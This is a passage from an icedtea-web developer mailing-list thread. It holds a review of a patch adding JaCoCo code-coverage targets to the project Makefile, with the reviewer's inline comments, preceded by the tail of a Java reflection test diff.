really empty + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.bindingsClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.Bindings.getClass().getMethods() */ protected void testGetMethods() { @@ -447,6 +473,60 @@ } /** + * Test for method javax.script.Bindings.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + // this should be really empty + }; + + final String[] annotationsThatShouldExists_jdk7 = { + // this should be really empty + }; + + // get all annotations + Annotation[] annotations = this.bindingsClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.Bindings.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.bindingsClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.Bindings */ @SuppressWarnings("cast") From adomurad at redhat.com Mon Dec 10 09:39:25 2012 From: adomurad at redhat.com (Adam Domurad) Date: Mon, 10 Dec 2012 12:39:25 -0500 Subject: [fyi] [icedtea-web] new code coverage direction - jacoco In-Reply-To: <50C0740E.4040305@redhat.com> References: <50B4FA0C.5030502@redhat.com> <50B64717.1040705@redhat.com> <50B71F68.10203@redhat.com> <50BF6C77.4010507@redhat.com> <50C0740E.4040305@redhat.com> Message-ID: <50C61E4D.6030606@redhat.com> On 12/06/2012 05:31 AM, Jiri Vanek wrote: > On 12/05/2012 04:47 PM, Jiri Vanek wrote: >> On 11/29/2012 09:40 AM, Jiri Vanek wrote: >>> On 11/28/2012 06:17 PM, Jiri Vanek wrote: >>>> On 11/27/2012 06:36 PM, Jiri Vanek wrote: >>>>> hi all! >>>>> >>>>> Last few days I was hidding behind new codecoverage for >>>>> icedtea-web. It have appeared to be more >>>>> tricky then I thought: >>>>> >>>>> * Support for jdk7 on field of coverage tool is desperate - the >>>>> only tool which support it and is >>>>> alive (actually I really think it is the only one right now) is >>>>> JACOCO. >>>>> * jacoco packages in fedora are broken - I have fixed them and >>>>> post patch to its maintainer >>>>> * jacoco itself do not support coverage of boot-classapth, I have >>>>> fixed this too, and I hope I will >>>>> be able to upstream this patch - quite simple patch but it will >>>>> need some more tuning (xboot.patch) >>>>> [as I do not see to alll corners of this amazing tool] >>>>> * jacoco although having excellent API, have no commandline tool >>>>> for report generation and for >>>>> merging of results. I have wrote my own (simple one, >>>>> jacoco-tool.diff) and I hope I will be able to >>>>> upstream it to rather then fill icedtea-web with it. >>>>> >>>>> So do not use this patch for now - it uses custom packages upon >>>>> custom sources with custom >>>>> dependences (Asm4 instead of asm3) :), but if all the fixes will >>>>> go upstream then the results are >>>>> amazing! >>>>> >>>>> The integration of patched package with patched sources is then >>>>> quite simple and same as emma was. >>>>> Coverage of unit tests, coverage of individual reproducers run, >>>>> then merged all reproducers >>>>> together >>>>> and at the end merged all reproducers and unit test's results. >>>>> On each sub-step xml and html report is generated. >>>>> >>>>> Good new is that it will be easy to cover also plugin [work in >>>>> progress] >>>>> >>>>> Best regards >>>>> J. >>>>> >>>>> >>>>> ps: with litlle bit more tweaking on xbooth.patch I was able to >>>>> create coverage report for most >>>>> rt.jar itself on openjdk build:) >>>>> >>>> hmm.. sun.reflect.* must be excluded on jdk7 too... >>>> >>> >>> Here is the example of yesterdays run: >>> http://10.34.2.200/icedtea-web-dailyreport/jacocoPreview/ >>> >>> not bad comapring to latrest emma run: >>> http://10.34.2.200/icedtea-web-dailyreport/ICWDR_1343375169/tests.build/coverage/index.html >>> >>> >>> :) >> >> Here is final version of my patch. Althoug my suggested changes are >> moving forward, untill it reach >> packages can take an ages, so would like to push it if there will be >> good soul to review it. I will >> attach the results of latest unit+javaws+plugin tests. >> >> I will track the jacoco changes and modify this patch how needed. >> >> >> J. >> > Here is updated promissedexample - > http://10.34.2.200/icedtea-web-dailyreport/jacocoPreview/ . Worthy to > walk through! > Due to recent Saad's patch the plugin patch will need to be updated, > but the logic will remains same. > > J. Great stuff! :) The advances in QA for icedtea-web are really great. Navigating it was quite interesting. I assume this is line-coverage only at the moment ? How does this compare to Emma ? Is it just it's successor ? Will you remove the emma coverage ? So I take it that this patch relies on a few components that are not yet upstream ? What is the current effect of the patch ? > diff -r aff6fb36a9ab Makefile.am > --- a/Makefile.am Mon Dec 03 18:08:38 2012 +0100 > +++ b/Makefile.am Wed Dec 05 16:40:30 2012 +0100 > @@ -20,6 +20,8 @@ > export JUNIT_RUNNER_DIR=$(TESTS_DIR)/junit-runner > export JUNIT_RUNNER_SRCDIR=$(TESTS_SRCDIR)/junit-runner > > +export JACOCO_OPERATOR_DIR=$(TESTS_DIR)/jacoco-operator > +export JACOCO_OPERATOR_SRCDIR=$(TESTS_SRCDIR)/jacoco-operator > > export TEST_EXTENSIONS_SRCDIR=$(TESTS_SRCDIR)/test-extensions > export TEST_EXTENSIONS_TESTS_SRCDIR=$(TESTS_SRCDIR)/test-extensions-tests > @@ -56,6 +58,22 @@ > export ALL_NONCUSTOM_REPRODUCERS=$(SIMPLE_REPRODUCERS) $(SIGNED_REPRODUCERS) > export ALL_REPRODUCERS=$(ALL_NONCUSTOM_REPRODUCERS) $(CUSTOM_REPRODUCERS) > > +export JACOCO_PATH:=$(shell dirname "$(JACOCO_JAR)") > +export JACOCO_AGENT=org.jacoco.agent.jar > +export JACOCO_ANT=org.jacoco.ant.jar > +export JACOCO_REPORT=org.jacoco.report.jar > +export JACOCO_AGENTRT=org.jacoco.agent.rt.jar > +export JACOCO_CORE=org.jacoco.core.jar > +export JACOCO_JAVAWS_RESULTS=$(TEST_EXTENSIONS_DIR)/jacoco_javaws.exec > +export JACOCO_PLUGIN_RESULTS=$(TEST_EXTENSIONS_DIR)/jacoco_plugin.exec > +export JACOCO_CLASSPATH=$(JACOCO_PATH)/$(JACOCO_CORE):$(JACOCO_PATH)/$(JACOCO_AGENT):$(JACOCO_PATH)/$(JACOCO_REPORT):$(JACOCO_PATH)/$(JACOCO_AGENTRT):$(JACOCO_PATH)/$(JACOCO_ANT):$(ASM4_JAR) > +export JACOCO_AGENT_SWITCH_BODY=-javaagent:$(JACOCO_PATH)/$(JACOCO_AGENTRT) > +export JACOCO_BASE_EXCLUDE=org.junit.*:junit.* > +export JACOCO_ADVANCED_EXCLUDE=:*jacoco*:java.lang.*:java.reflect.*:java.util.*:sun.reflect.* > +export JACOCO_AGENT_SWITCH="$(JACOCO_AGENT_SWITCH_BODY)=excludes=$(JACOCO_BASE_EXCLUDE)" > +export JACOCO_AGENT_JAVAWS_SWITCH=\"$(JACOCO_AGENT_SWITCH_BODY)=excludes=$(JACOCO_BASE_EXCLUDE)$(JACOCO_ADVANCED_EXCLUDE),xboot=true,destfile=$(JACOCO_JAVAWS_RESULTS)\" > +export JACOCO_AGENT_PLUGIN_SWITCH=\"$(JACOCO_AGENT_SWITCH_BODY)=excludes=$(JACOCO_BASE_EXCLUDE)$(JACOCO_ADVANCED_EXCLUDE),xboot=true,destfile=$(JACOCO_PLUGIN_RESULTS)\" > +export JACOCO_OPERATOR_EXEC=$(BOOT_DIR)/bin/java $(EMMA_JAVA_ARGS) -cp $(JACOCO_OPERATOR_DIR):$(JACOCO_CLASSPATH):. org.jacoco.operator.Main > > # linking variables > export PLUGIN_LINK_NAME=libjavaplugin.so > @@ -103,6 +121,7 @@ > # > export LAUNCHER_BOOTCLASSPATH="-Xbootclasspath/a:$(datadir)/$(PACKAGE_NAME)/netx.jar$(RHINO_RUNTIME)" > export PLUGIN_BOOTCLASSPATH='"-Xbootclasspath/a:$(datadir)/$(PACKAGE_NAME)/netx.jar:$(datadir)/$(PACKAGE_NAME)/plugin.jar$(RHINO_RUNTIME)"' > +export PLUGIN_COVERAGE_BOOTCLASSPATH='"-Xbootclasspath/a:$(datadir)/$(PACKAGE_NAME)/netx.jar:$(datadir)/$(PACKAGE_NAME)/plugin.jar$(RHINO_RUNTIME):$(JACOCO_CLASSPATH)"' > > # Fake update version to work with the Deployment Toolkit script used by Oracle > #http://download.oracle.com/javase/tutorial/deployment/deploymentInDepth/depltoolkit_index.html > @@ -128,6 +147,9 @@ > export LIVECONNECT_SRCS = $(PLUGIN_SRCDIR)/java > export ICEDTEAPLUGIN_TARGET = $(PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY) stamps/liveconnect-dist.stamp > export PLUGIN_PKGS = sun.applet netscape.security netscape.javascript > +#those are for plugin testcoverage > +export FAKE_PLUGIN_SRCDIR=$(TESTS_DIR)/icedteanp-srcs > +export FAKE_PLUGIN_DIR=$(TESTS_DIR)/icedteanp-build FAKE_PLUGIN is confusing, it sounds to me a bit like a 'phony target'. Maybe INSTRUMENTED_PLUGIN... (or something less verbose if you choose) > endif > > if CP_SUPPORTS_REFLINK > @@ -588,6 +610,9 @@ > junit-runner-source-files.txt: > find $(JUNIT_RUNNER_SRCDIR) -name '*.java' | sort > $@ > > +jacoco-operator-source-files.txt: > + find $(JACOCO_OPERATOR_SRCDIR) -name '*.java' | sort > $@ > + > $(JUNIT_RUNNER_JAR): junit-runner-source-files.txt stamps/test-extensions-compile.stamp > mkdir -p $(JUNIT_RUNNER_DIR) && \ > $(BOOT_DIR)/bin/javac $(IT_JAVACFLAGS) \ > @@ -825,8 +850,8 @@ > $(BOOT_DIR)/bin/java $(REPRODUCERS_DPARAMETERS) \ > -Xbootclasspath:$(RUNTIME) CommandLine $$class_names > if WITH_XSLTPROC > - $(XSLTPROC) --stringparam logs logs_reproducers.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(TEST_EXTENSIONS_DIR)/tests-output.xml > $(TESTS_DIR)/index_reproducers.html > - $(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl $(TEST_EXTENSIONS_DIR)/ServerAccess-logs.xml > $(TESTS_DIR)/logs_reproducers.html > + -$(XSLTPROC) --stringparam logs logs_reproducers.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(TEST_EXTENSIONS_DIR)/tests-output.xml > $(TESTS_DIR)/index_reproducers.html > + -$(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl $(TEST_EXTENSIONS_DIR)/ServerAccess-logs.xml > $(TESTS_DIR)/logs_reproducers.html > endif > touch $@ > > @@ -1002,8 +1027,8 @@ > CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):. \ > $(BOOT_DIR)/bin/java -Xbootclasspath:$(RUNTIME) CommandLine $$class_names > if WITH_XSLTPROC > - $(XSLTPROC) --stringparam logs logs_unit.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(NETX_UNIT_TEST_DIR)/tests-output.xml > $(TESTS_DIR)/index_unit.html > - $(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl $(NETX_UNIT_TEST_DIR)/ServerAccess-logs.xml > $(TESTS_DIR)/logs_unit.html > + -$(XSLTPROC) --stringparam logs logs_unit.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(NETX_UNIT_TEST_DIR)/tests-output.xml > $(TESTS_DIR)/index_unit.html > + -$(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl $(NETX_UNIT_TEST_DIR)/ServerAccess-logs.xml > $(TESTS_DIR)/logs_unit.html > endif > mkdir -p stamps && \ > touch $@ > @@ -1049,6 +1074,53 @@ > endif > touch $@ > > +stamps/compile-jacoco-operator.stamp: jacoco-operator-source-files.txt > +if WITH_JACOCO > + mkdir -p $(JACOCO_OPERATOR_DIR) && \ > + $(BOOT_DIR)/bin/javac $(IT_JAVACFLAGS) \ > + -d $(JACOCO_OPERATOR_DIR) \ > + -classpath $(JACOCO_CLASSPATH) \ > + @jacoco-operator-source-files.txt ; > +else > + echo "Sorry, jacoco coverage report generator cant be compiled without jacoco installed. Try install jacoco or specify with-jacoco value" ; > Do you mean 'Try installing jacoco' ? It sounds like you're suggesting a command :) > + exit 5 > +endif > + touch $@ > + > + > +#warning, during this target tests.build/netx/unit/tests-output.xml is backup and rewriten (but not coresponding html file) > +#xml results run with jacoco agent however, can be wrong, co the new tests-output.xml is then renamed and orginal one restored > +stamps/run-unit-test-code-coverage-jacoco.stamp: stamps/netx-unit-tests-compile.stamp $(JUNIT_RUNNER_JAR) \ > + $(TESTS_DIR)/$(REPORT_STYLES_DIRNAME) $(UNIT_CLASS_NAMES) stamps/compile-jacoco-operator.stamp > +if WITH_JACOCO > + filename=" " ; \ > + cd $(NETX_UNIT_TEST_SRCDIR) ; \ > + for file in `find . -type f \! -iname "*.java"`; do\ > + filename=`echo $$file `; \ > + cp --parents $$filename $(NETX_UNIT_TEST_DIR) ; \ > + done ; \ > + cd $(NETX_UNIT_TEST_DIR) ; \ > + for file in $(EMMA_MODIFIED_FILES) ; do \ > + mv $(NETX_UNIT_TEST_DIR)/$$file $(NETX_UNIT_TEST_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" ; \ > + done ;\ > + class_names=`cat $(UNIT_CLASS_NAMES)` ; \ > + CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):$(JACOCO_CLASSPATH):. \ > + $(BOOT_DIR)/bin/java $(JACOCO_AGENT_SWITCH) -Xbootclasspath:$(RUNTIME) CommandLine $$class_names ; \ > + for file in $(EMMA_MODIFIED_FILES) ; do \ > + mv $(NETX_UNIT_TEST_DIR)/$$file $(NETX_UNIT_TEST_DIR)/"$$file""$(EMMA_SUFFIX)" ; \ > + mv $(NETX_UNIT_TEST_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" $(NETX_UNIT_TEST_DIR)/$$file ; \ > + done ; \ > + $(JACOCO_OPERATOR_EXEC) \ > + report --die-soon --html-output coverage --xml-output coverage.xml --input-file jacoco.exec \ > + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java $(NETX_UNIT_TEST_SRCDIR) $(JUNIT_RUNNER_SRCDIR) $(TEST_EXTENSIONS_SRCDIR) \ > + --input-builds $(NETX_DIR)/lib/classes.jar $(abs_top_builddir)/liveconnect/lib/classes.jar $(NETX_UNIT_TEST_DIR) $(JUNIT_RUNNER_JAR) $(TEST_EXTENSIONS_DIR) \ > + --title "IcedTea-Web unit-tests codecoverage" ; > +else > + echo "Sorry, coverage report cant be run without jacoco installed. Try install jacoco or specify with-jacoco value" ; See above > + exit 5 > +endif > + touch $@ > + > #warning, during this target tests.build/netx/jnlp_testsengine/tests-output.xml is backup and rewriten (but not coresponding html file) > #xml results run from emma sandbox, however, can be wrong, co the new tests-output.xml is then renamed and orginal one restored > stamps/run-reproducers-test-code-coverage.stamp: stamps/run-netx-dist-tests.stamp $(REPRODUCERS_CLASS_NAMES) > @@ -1139,7 +1211,152 @@ > endif > touch $@ > > -run-test-code-coverage: run-unit-test-code-coverage run-reproducers-test-code-coverage > +$(FAKE_PLUGIN_SRCDIR): > + mkdir -p $(FAKE_PLUGIN_SRCDIR) ; \ > + cp -r $(PLUGIN_SRCDIR)/* $(FAKE_PLUGIN_SRCDIR) ; \ > + cd $(FAKE_PLUGIN_SRCDIR) ; \ > + rm *.o ; \ > + rm *.so ; \ > + rm -rf java ; \ > + patch -p0 < $(TESTS_SRCDIR)/plugin_fakeing.patch ; \ > + mkdir -p $(FAKE_PLUGIN_DIR); I don't know if I like this approach, a patch is pretty brittle and easy to break by accident (it already happened). See my comments below near the patch file for suggestions of alternatives (which doesn't involve copying and patching source). > + > +$(FAKE_PLUGIN_DIR)/%.o: $(FAKE_PLUGIN_SRCDIR)/%.cc > + cd $(FAKE_PLUGIN_DIR) && \ > + $(CXX) $(CXXFLAGS) \ > + $(DEFS) $(VERSION_DEFS) \ > + -DJDK_UPDATE_VERSION="\"$(JDK_UPDATE_VERSION)\"" \ > + -DPLUGIN_NAME="\"IcedTea-Web Faked Plugin\"" \ 'IcedTea-Web Plugin with Jacoco' will be clearer if anyone happens to see this message. > + -DPLUGIN_VERSION="\"$(PLUGIN_VERSION)\"" \ > + -DPACKAGE_URL="\"$(PACKAGE_URL)\"" \ > + -DMOZILLA_VERSION_COLLAPSED="$(MOZILLA_VERSION_COLLAPSED)" \ > + -DICEDTEA_WEB_JRE="\"$(SYSTEM_JRE_DIR)\"" \ > + -DPLUGIN_BOOTCLASSPATH=$(PLUGIN_COVERAGE_BOOTCLASSPATH) \ > + -DCOVERAGE_AGENT=$(JACOCO_AGENT_PLUGIN_SWITCH) \ > + $(GLIB_CFLAGS) \ > + $(GTK_CFLAGS) \ > + $(MOZILLA_CFLAGS) \ > + -fvisibility=hidden \ > + -fPIC -o $@ -c $< > + > +$(FAKE_PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY): $(addprefix $(FAKE_PLUGIN_DIR)/,$(PLUGIN_OBJECTS)) > + cd $(FAKE_PLUGIN_DIR) && \ > + $(CXX) $(CXXFLAGS) \ > + $(PLUGIN_OBJECTS) \ > + $(GLIB_LIBS) \ > + $(GTK_LIBS) \ > + $(MOZILLA_LIBS) \ > + -shared -o $@ > + > +stamps/build-fake-plugin.stamp: $(FAKE_PLUGIN_SRCDIR) $(addprefix $(FAKE_PLUGIN_SRCDIR)/,$(PLUGIN_SRC)) $(addprefix $(FAKE_PLUGIN_DIR)/,$(PLUGIN_OBJECTS)) stamps/liveconnect-dist.stamp $(FAKE_PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY) > + touch $@ > + > +#warning, during this target tests.build/netx/jnlp_testsengine/tests-output.xml is backup and rewriten (but not coresponding html file) > +#xml results run with jacoco agent, however, can be wrong, co the new tests-output.xml is then renamed and orginal one restored > +stamps/run-reproducers-test-code-coverage-jacoco.stamp: stamps/run-netx-dist-tests.stamp $(REPRODUCERS_CLASS_NAMES) \ > +stamps/compile-jacoco-operator.stamp stamps/build-fake-plugin.stamp > +if WITH_JACOCO > + cd $(TESTS_DIR) ; \ > + for file in $(EMMA_MODIFIED_FILES) ; do \ > + mv $(TEST_EXTENSIONS_DIR)/$$file $(TEST_EXTENSIONS_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" ; \ > + done ;\ > + echo "backuping javaws in $(DESTDIR)$(bindir)" ; \ > + javaws_backup=$(DESTDIR)$(bindir)/javaws_backup ; \ > + mv $(DESTDIR)$(bindir)/javaws $$javaws_backup ; \ > + echo "patching $(javaws)" ; \ > + nw_bootclasspath="$(LAUNCHER_BOOTCLASSPATH):$(JACOCO_CLASSPATH)" ; \ > + cat $$javaws_backup | sed "s|COMMAND.k.=\"..JAVA.\"|COMMAND[k]=\"\\$$\\{JAVA\\}\" ; k=1 ; COMMAND[k]=$(JACOCO_AGENT_JAVAWS_SWITCH)|" | sed "s,$(LAUNCHER_BOOTCLASSPATH),$$nw_bootclasspath," > $(DESTDIR)$(bindir)/$(javaws) ; \ > + chmod 777 $(DESTDIR)$(bindir)/$(javaws) ; \ > + echo "backuping plugin in $(DESTDIR)/$(libdir)$(BUILT_PLUGIN_LIBRARY)" ; \ > + plugin_backup=$(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY)_backup ; \ > + mv $(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY) $$plugin_backup ; \ > + echo "fakeing plugin" ; \ > + cp $(FAKE_PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY) $(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY) ; \ > + testcases_srcs=( ) ; \ > + k=0 ; \ > + types=($(ALL_REPRODUCERS)); \ > + for which in "$${types[@]}" ; do \ > + . $(abs_top_srcdir)/NEW_LINE_IFS ; \ > + simpleReproducers=(`cat $(abs_top_builddir)/junit-jnlp-dist-$$which.txt `); \ > + IFS="$$IFS_BACKUP" ; \ > + for dir in "$${simpleReproducers[@]}" ; do \ > + testcases_srcs[k]="$(REPRODUCERS_TESTS_SRCDIR)/$$which/$$dir/testcases/" ; \ > + k=$$((k+1)) ; \ > + done ; \ > + done ; \ > + cd $(TEST_EXTENSIONS_DIR) ; \ > + class_names=`cat $(REPRODUCERS_CLASS_NAMES)` ; \ > + CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):.:$(TEST_EXTENSIONS_DIR):$(JACOCO_CLASSPATH):$(TEST_EXTENSIONS_TESTS_DIR) \ > + $(BOOT_DIR)/bin/java $(JACOCO_AGENT_SWITCH) $(REPRODUCERS_DPARAMETERS) \ > + -Xbootclasspath:$(RUNTIME) CommandLine $$class_names ; \ > + if [ -f $(JACOCO_JAVAWS_RESULTS) ] ; then \ > + jacoco_javaws_results=$(JACOCO_JAVAWS_RESULTS) ; \ > + $(JACOCO_OPERATOR_EXEC) \ > + report --die-soon --html-output coverage-javaws --xml-output coverage-javaws.xml --input-file $(JACOCO_JAVAWS_RESULTS) \ > + --input-srcs $(NETX_SRCDIR) \ > + --input-builds $(NETX_DIR)/lib/classes.jar \ > + --title "IcedTea-Web javaws reproducers codecoverage" ; \ > + fi; \ > + if [ -f $(JACOCO_PLUGIN_RESULTS) ] ; then \ > + jacoco_plugin_results=$(JACOCO_PLUGIN_RESULTS) ; \ > + $(JACOCO_OPERATOR_EXEC) \ > + report --die-soon --html-output coverage-plugin --xml-output coverage-plugin.xml --input-file $(JACOCO_PLUGIN_RESULTS) \ > + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java \ > + --input-builds $(NETX_DIR)/lib/classes.jar $(abs_top_builddir)/liveconnect/lib/classes.jar \ > + --title "IcedTea-Web plugin reproducers codecoverage" ; \ > + fi; \ > + $(JACOCO_OPERATOR_EXEC) \ > + merge --die-soon --input-files jacoco.exec $$jacoco_javaws_results $$jacoco_plugin_results --output-file jacoco-merged-reproducers.exec ; \ > + $(JACOCO_OPERATOR_EXEC) \ > + report --html-output coverage --xml-output coverage.xml --input-file jacoco-merged-reproducers.exec \ > + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java $(JUNIT_RUNNER_SRCDIR) $(TEST_EXTENSIONS_SRCDIR) $(TEST_EXTENSIONS_TESTS_SRCDIR) "$${testcases_srcs[@]}" \ > + --input-builds $(NETX_DIR)/lib/classes.jar $(abs_top_builddir)/liveconnect/lib/classes.jar $(JUNIT_RUNNER_JAR) $(TEST_EXTENSIONS_DIR) $(TEST_EXTENSIONS_TESTS_DIR) \ > + --title "IcedTea-Web reproducers-tests codecoverage" ; \ > + echo "restoring javaws in $(DESTDIR)$(bindir)" ; \ > + rm -f $(DESTDIR)$(bindir)/$(javaws); \ > + mv $$javaws_backup $(DESTDIR)$(bindir)/$(javaws); \ > + echo "restoring plugin in $(DESTDIR)/$(libdir)$(BUILT_PLUGIN_LIBRARY)" ; \ > + mv $$plugin_backup $(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY) ; \ > + for file in $(EMMA_MODIFIED_FILES) ; do \ > + mv $(TEST_EXTENSIONS_DIR)/$$file $(TEST_EXTENSIONS_DIR)/"$$file""$(EMMA_SUFFIX)" ; \ > + mv $(TEST_EXTENSIONS_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" $(TEST_EXTENSIONS_DIR)/$$file ; \ > + done ; > +else > + echo "Sorry, coverage report cant be run without jacoco installed. Try install jacoco or specify with-jacoco value" ; > + exit 5 > +endif > + touch $@ My eyes ... could this be its own bash script ? Maybe then I could actually read it ... > + > +run-test-code-coverage-jacoco: stamps/run-unit-test-code-coverage-jacoco.stamp stamps/run-reproducers-test-code-coverage-jacoco.stamp > +if WITH_JACOCO > + cd $(TESTS_DIR) ; \ > + k=0 ; \ > + types=($(ALL_REPRODUCERS)); \ > + for which in "$${types[@]}" ; do \ > + . $(abs_top_srcdir)/NEW_LINE_IFS ; \ > + simpleReproducers=(`cat $(abs_top_builddir)/junit-jnlp-dist-$$which.txt `); \ > + IFS="$$IFS_BACKUP" ; \ > + for dir in "$${simpleReproducers[@]}" ; do \ > + testcases_srcs[k]="$(REPRODUCERS_TESTS_SRCDIR)/$$which/$$dir/testcases/" ; \ > + k=$$((k+1)) ; \ > + done ; \ > + done ; \ > + class_names=`cat $(REPRODUCERS_CLASS_NAMES)` ; \ > + $(JACOCO_OPERATOR_EXEC) \ > + merge --die-soon --input-files $(TEST_EXTENSIONS_DIR)/jacoco-merged-reproducers.exec $(NETX_UNIT_TEST_DIR)/jacoco.exec --output-file jacoco-merged.exec; \ > + $(JACOCO_OPERATOR_EXEC) \ > + report --html-output coverage --xml-output coverage.xml --input-file jacoco-merged.exec \ > + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java $(JUNIT_RUNNER_SRCDIR) $(TEST_EXTENSIONS_SRCDIR) $(TEST_EXTENSIONS_TESTS_SRCDIR) "$${testcases_srcs[@]}" \ > + --input-builds $(NETX_DIR)/lib/classes.jar $(abs_top_builddir)/liveconnect/lib/classes.jar $(JUNIT_RUNNER_JAR) $(TEST_EXTENSIONS_DIR) $(TEST_EXTENSIONS_TESTS_DIR) \ > + --input-srcs $(NETX_UNIT_TEST_SRCDIR) \ > + --input-builds $(NETX_UNIT_TEST_DIR) \ > + --title "IcedTea-Web complete codecoverage" ; > +else > + echo "Sorry, coverage report cant be run without jacoco installed. Try install jacoco or specify with-jacoco value" ; > + exit 5 > +endif > + > +run-test-code-coverage: stamps/run-unit-test-code-coverage.stamps stamps/run-reproducers-test-code-coverage.stamps > if WITH_EMMA > cd $(TESTS_DIR) ; \ > k=0 ; \ > @@ -1175,7 +1392,7 @@ > exit 5 > endif > > -clean-netx-tests: clean-netx-unit-tests clean-junit-runner clean-netx-dist-tests clean-test-code-coverage > +clean-netx-tests: clean-netx-unit-tests clean-junit-runner clean-netx-dist-tests clean-test-code-coverage-jacoco clean-test-code-coverage > if [ -e $(TESTS_DIR)/netx ]; then \ > rmdir $(TESTS_DIR)/netx ; \ > fi > @@ -1258,6 +1475,44 @@ > rm -f $(TESTS_DIR)/coverage.em ; \ > fi > > +clean-unit-test-code-coverage-jacoco: > + if [ -e stamps/run-unit-test-code-coverage-jacoco.stamp ]; then \ > + rm -rf $(NETX_UNIT_TEST_DIR)/coverage ; \ > + rm -f $(NETX_UNIT_TEST_DIR)/coverage.xml ; \ > + rm -f $(NETX_UNIT_TEST_DIR)/jacoco.exec ; \ > + rm -f $(NETX_UNIT_TEST_DIR)/tests-output_withEmma.xml ; \ > + rm -f stamps/run-unit-test-code-coverage-jacoco.stamp ; \ > + fi > + > +clean-reproducers-test-code-coverage-jacoco: > + if [ -e stamps/run-reproducers-test-code-coverage-jacoco.stamp ]; then \ > + rm -rf $(TEST_EXTENSIONS_DIR)/coverage-javaws ; \ > + rm -f $(TEST_EXTENSIONS_DIR)/coverage-javaws.xml ; \ > + rm -f $(TEST_EXTENSIONS_DIR)/jacoco_javaws.exec ; \ > + rm -rf $(TEST_EXTENSIONS_DIR)/coverage-plugin ; \ > + rm -f $(TEST_EXTENSIONS_DIR)/coverage-plugin.xml ; \ > + rm -f $(TEST_EXTENSIONS_DIR)/jacoco_plugin.exec ; \ > + rm -rf $(TEST_EXTENSIONS_DIR)/coverage ; \ > + rm -f $(TEST_EXTENSIONS_DIR)/coverage.xml ; \ > + rm -f $(TEST_EXTENSIONS_DIR)/jacoco-merged-reproducers.exec ; \ > + rm -f $(TEST_EXTENSIONS_DIR)/tests-output_withEmma.xml ; \ > + rm -f stamps/run-reproducers-test-code-coverage-jacoco.stamp ; \ > + fi > + > +clean-test-code-coverage-jacoco: clean-unit-test-code-coverage-jacoco clean-reproducers-test-code-coverage-jacoco clean-test-code-coverage-tools-jacoco > + if [ -e $(TESTS_DIR)/coverage.xml ]; then \ > + rm -rf $(TESTS_DIR)/coverage ; \ > + rm -f $(TESTS_DIR)/jacoco-merged.exec; \ > + fi > + > +clean-test-code-coverage-tools-jacoco: > + rm -rf $(JACOCO_OPERATOR_DIR) > + rm -rf $(FAKE_PLUGIN_SRCDIR) > + rm -rf $(FAKE_PLUGIN_DIR) > + rm -f stamps/compile-jacoco-operator.stamp; > + rm -f jacoco-operator-source-files.txt > + rm -f stamps/build-fake-plugin.stamp > + > > # plugin tests > > @@ -1377,3 +1632,7 @@ > run-unit-test-code-coverage: stamps/run-unit-test-code-coverage.stamp > > 